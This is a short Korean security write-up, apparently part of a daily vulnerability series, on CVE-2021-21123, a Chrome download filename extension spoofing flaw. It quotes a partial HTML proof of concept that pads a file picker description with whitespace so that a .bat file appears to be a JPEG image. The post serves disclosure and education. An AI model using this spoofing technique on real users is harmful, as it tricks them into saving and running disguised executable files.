[하루한줄] CVE-2021-21123: Chrome에서 발생하는 확장자 spoofing

URL

Issue 1137247: Security: Spoofing download filename extension in 86 chrome

Target

Google Chrome < 88.0.4324.96

Explain

CVE-2021-21123: 88.0.4324.96 이전 Google Chrome의 File System API에서 불충분한 데이터 유효성 검사를 통해 공격자는 조작된 HTML 페이지를 통해 파일 시스템 제한을 무시할 수 있습니다.

<script>
        const butSaveNewFile = document.getElementById('addNewFile')
        butSaveNewFile.addEventListener('click', async () => {
            const options = {
                types: [
                    {
                        description:
                            'JPEG Image (*.jpeg)                                                                                                                                                                                                                                                         ',
                        accept: {
                            'text/plain': ['.bat']
                        },
                        content: 'C:\\Windows\\system32\\calc.exe'
                    }
                ]
            }
            const handle = await window.showSaveFilePicker(options)
            const writable = await handle.createWritable()
            await writable.write('C:\\Windows\\system32\\calc.exe')
            await writable.close()
            alert('File saved')
        })
    </script>

위는 공개된 HTML PoC의 일부입니다. 변수 description의 값은 Google Chrome이 호출하는 “Save as(다른 이름으로 저장)” 창에서 다운로드될 파일의 확장자를 사용자에게 보여주는 용도로 사용됩니다. description에 연속적인 공백 문자 혹은 *이 포함되지 못하도록 막는 필터링의 부재로 인해 다운로드될 파일의 실제 확장자를 숨기거나 속일 수 있습니다(Spoofing download filename). 해당 취약점을 악용해 원격으로 타겟 시스템에 악성 코드를 설치 및 실행할 수 있기 때문에 User Interaction이 필요함에도 불구하고 높은 심각도의 취약점으로 분류됐습니다.